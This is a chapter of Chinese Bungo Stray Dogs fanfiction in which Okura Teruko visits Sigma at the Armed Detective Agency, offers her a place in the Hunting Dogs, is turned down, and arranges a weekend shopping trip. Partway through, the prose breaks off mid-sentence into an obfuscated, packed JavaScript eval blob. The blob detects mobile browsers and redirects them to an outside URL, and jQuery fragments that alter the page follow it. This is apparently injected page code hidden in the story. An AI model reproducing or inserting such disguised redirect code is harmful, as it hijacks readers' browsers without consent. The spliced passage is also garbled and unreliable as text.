41.再见(大仓烨子篇)

作品:《[文野]记忆碎片

    猎犬的训练场里,汗水与肃杀的气息交织。


    大仓烨子一个利落的回旋踢,将特制的合金靶桩踹得发出沉闷的嗡鸣,裂纹蛛网般蔓延。


    她落地,微微喘息,玫粉色的短发被汗水浸湿了几缕,贴在额角。


    训练场的空气里弥漫着汗水与金属摩擦的味道,她却感到一阵没来由的烦躁,动作比平时更显凌厉。


    她知道西格玛还活着,并且加入了武装侦探社。


    这消息本身没什么,一个战败的对手找到了新窝而已。


    可偏偏就是……挥之不去。


    这个认知像一根细微的刺,时不时扎她一下。


    训练时的每一分肌肉的酸痛、每一次超越极限的喘息,都诡异地让她想起那个从高空拽着她一同坠落的家伙。


    ——那个“凡人”拼尽全力时灼热的眼神,和指尖几乎要嵌进她骨肉里的力道。


    脑海里不受控制地回放天空赌场的片段。


    那个瘦弱的家伙,被踩在脚下,眼中却燃着不肯熄灭的火。


    还有坠落时,死死拽住她手腕的力道,和那双几乎要将“不让你逃”刻进她骨子里的眼睛。


    那股拼命到近乎愚蠢的劲头,烫得惊人。


    还有机场,费奥多尔那句带着玩味与笃定的话——


    “要感谢西格玛哦,你们现在还活着,都是因为她。”


    “照顾好我的西格玛。”


    ——她不是任何人的所有物!


    这句话几乎是不经思索,在她心底炸开。


    为什么?西格玛是敌人,是罪犯,是“凡人”。


    保护“秩序”的猎犬,为什么要为一个敌人的“归属”发声?


    仅仅是因为厌恶费奥多尔吗?


    不。好像不止如此。


    是因为在那一刻,她潜意识里拒绝将西格玛归为任何人的“物品”,尤其是那个危险阴谋家的?


    还是因为……西格玛那孤注一掷守护“家”的姿态,在某种程度上,触动了她作为“秩序守护者”同样需要拼尽一切的某根神经?


    她否认共鸣,却无法彻底抹去那瞬间似曾相识的战栗。


    烦躁。没来由的烦躁。


    她一拳狠狠砸在另一个靶桩上,金属凹陷的巨响在训练场回荡。


    什么叫做“他的”西格玛?那家伙明明是用自己的命,赌上一切去保护自己“家”的笨蛋。


    费奥多尔那种将人心视为棋子的家伙,也配用这种语气?


    更烦躁的是,自己当时,还有那么一瞬间,觉得西格玛适合当同伴。


    啧。”大仓烨子甩“了甩手腕,无视了发红的指关节上,那新增的擦伤。


    越想越乱,越乱越躁。


    她停下动作,看向训练场入口的方向,眼神明灭不定。


    立原道造刚好完成一组负重穿梭训练,擦着汗走过来,看到大仓烨子站在原地出神,有些奇怪:“副队?下一组对抗训练还继续吗?”


    他看着明显气压更低的大仓烨子,补充了一句,“烨子小姐,今天的训练强度是不是有点……”


    末广铁肠则在远处心无旁骛地挥剑,剑气破空之声连绵不绝,仿佛外界一切与他无关。


    唯有听觉敏锐的条野采菊,似乎“听”到了大仓烨子气息中那不同寻常的细微波澜,唇角勾起一个若有所思的弧度,但并未出声。


    “……不练了。”大仓烨子忽然开口,语气干脆,转身就朝更衣室走去,“我有事,先走。”


    她需要个答案,或者至少,需要让这烦人的思绪停下来。


    “诶?副队?”立原道造更惊讶了,提前结束训练?这可不常见。


    大仓烨子没有解释,冲了个战斗澡,换回那身标志性的军装式制服,便离开了猎犬总部。


    目标明确——武装侦探社。


    侦探社的接待室内,空气有些微妙的凝滞。


    大仓烨子坐在沙发上,脊背挺直,双手抱胸,打量着被与谢野晶子“推”进来、显然有些措手不及的西格玛。


    和天空赌场那时不同了。


    不再穿着那身象征赌场经理的华丽西装,而是换上了一袭米白色的简约连衣裙。


    柔顺的异色长发扎成了低马尾,增添了些生活化的柔和。


    少了几分虚张声势的尖锐,多了点属于“生活”的平和。


    “这幅打扮,比在天空赌场的时候顺眼多了。”大仓烨子率先开口,语气听不出太多情绪。


    西格玛抿了抿唇,似乎有些紧张,但还是在她对面坐下,深吸一口气,率先低下头:“对不起,大仓小姐。我之前……用音响枪伤害了你。”


    大仓烨子歪了歪头,玫粉色的眸子盯着她:“我之前不也伤害了你吗?把你挂在赌场外面差点扔下去。”


    她语气平淡地陈述事实,“我们扯平了。”


    猎犬的词典里没有对等报复之外的复杂歉意,但“扯平”这个词用在这里,让她觉得微妙地合适。


    仿佛可以将之前那场生死搏杀带来的特殊“连接”,用这两个字轻轻覆盖,变成一种更简单的关系。


    西格玛抬起头,眼神有些复杂,似乎没想到对方会这么说。


    “队长被监管起来了,”大仓烨子继续道,像是在说一件平常事,“你要不要加入猎犬?”


    西格玛愕然睁大眼。


    “武装侦探社能给你的保护,猎犬也可以提供。”大仓烨子补充,目光锐利,“你身上有费奥多尔感兴趣的特质,待在侦探社未必绝对安全。猎犬的权限和力量,在某些层面更直接。”


    话一出口,她自己也知道可能性极低。


    西格玛沉默了片刻,轻轻摇头,眼神却逐渐坚定:“谢谢你的邀请,大仓小姐。但是……我拒绝。武装侦探社现在是我的容身之处,是我自己选择的‘家’。我想留在这里。”


    被拒绝了。


    大仓烨子心里并无多少意外,甚至没有什么遗憾感,甚至……有点松了口气?


    如果西格玛真的加入猎犬,被军规和改造手术束缚,那双眼睛里的光,还会是现在的样子吗?


    她看着西格玛说话时那双重新焕发神采、不再只有绝望和孤注一掷的眼睛,忽然想:你过的挺好的嘛。


    这个念头清晰地在脑海中浮现。紧接着,她自己都愣了一下。


    为什么自己会这么想?作为猎犬,作为曾经立场对立的敌人,她不是应该评估对方的威胁性、潜在价值或者无视吗?


    这种近乎……欣慰的情绪是怎么回事?这根本不是她该关心的范畴。


    可这个念头就是冒了出来,带着一种奇异的、并非恶意的平静。


    她压下那点异样,面上不显,转而问了几个关于赌场后续、关于她适应情况的问题。


    西格玛起初还有些拘谨,但聊起在侦探社接手的第一个委托、国木田独步严谨到可怕的日程表、以及与谢野医生偶尔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216534|197107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “过度热情”的关怀时,语气渐渐放松,甚至带上了一点细微的、生动的无奈和暖意。


    大仓烨子听着,偶尔插一两句,发现这家伙……挺有意思的。


    不是作为敌人,也不是作为需要评估的对象,仅仅是作为一个“聊天的人”,有种奇特的、鲜活的韧性,带着一种经历过巨大失落又努力重建的笨拙认真。


    “周末的时候,如果没什么紧急委托,我会去商业街那边逛逛,”西格玛说到后来,语气轻快了一些,“直美小姐说那边有几家不错的店。”


    大仓烨子几乎是下意识地接话:“我刚好也要买东西。”


    话一出口,她自己都愣了下——这毫无逻辑的冲动,根本不像她。


    两人都静了一瞬。


    西格玛眨了眨眼。


    大仓烨子面不改色,仿佛刚才那句话再自然不过:“周末几点?在哪碰头?”


    “……下午两点,车站南口?”西格玛试探着问。


    “行。”大仓烨子点头,拿出手机,“电话。”


    交换了联系方式,大仓烨子便站起身,利落地告辞离开,仿佛真的只是来“看一眼”并顺便发出一个邀请。


    走出侦探社的大门,下午的阳光有些晃眼。


    大仓烨子脚步顿了顿,没有立刻返回猎犬总部,而是拐进了一条相对安静的街道。


    心里那种莫名的烦躁感……似乎消散了不少。


    她弄明白了什么吗?好像也没有完全清晰的结论。


    但至少,她确认了西格玛确实在好好活着,用她自己的方式,在一个相对“合适”的地方。


    武装侦探社确实比猎犬更适合现在的西格玛,她不得不承认。


    那句“不是任何人的所有物”,或许就是不想看到那种拼命的信念,被任何人轻易地定义或剥夺吧。


    她想起西格玛说起“逛街”时,眼里那点细微的、属于普通人的期待光亮。


    也想起自己说“刚好也要买东西”时,那瞬间掠过心头的、近乎“想要做点无关任务和训练的事”的冲动。


    真是……不像我。


    但,似乎也不坏。


    她拿出手机,看了看日历,开始在心里默默调整下周的训练计划表。


    嗯,周末下午空出来。


    训练提前到上午完成,或者周日晚上补一点强度也行。


    她看了一眼新存的号码,玫粉色的眼底闪过一丝自己也未察觉的微光。


    周末逛街?听起来毫无效率,和训练、任务相比简直浪费时间。


    但她已经愉快地决定,要调整周末的训练安排了。


    就这么定了。


    她收起手机,脚步变得轻快起来,甚至轻轻哼了一声不成调的军歌。


    决定了,周末要去逛街。


    条野采菊侧耳“听”着远处大仓烨子离开武装侦探社后,那与去时截然不同的、略显轻快甚至有点愉悦的脚步节奏,脸上玩味的笑容加深了。


    “立原君,”他忽然开口。


    “啊?怎么了,条野队长?”立原道造还在琢磨副队怎么突然跑去找前敌人。


    “没什么,”条野采菊笑盈盈,“只是觉得,偶尔有些计划外的‘私事’,或许也不是坏事。”


    末广铁肠终于完成了一组挥剑,收势,严肃地看过来:“条野,你说什么?训练计划有变吗?”


    条野采菊:“……不,请继续训练吧,末广阁下。”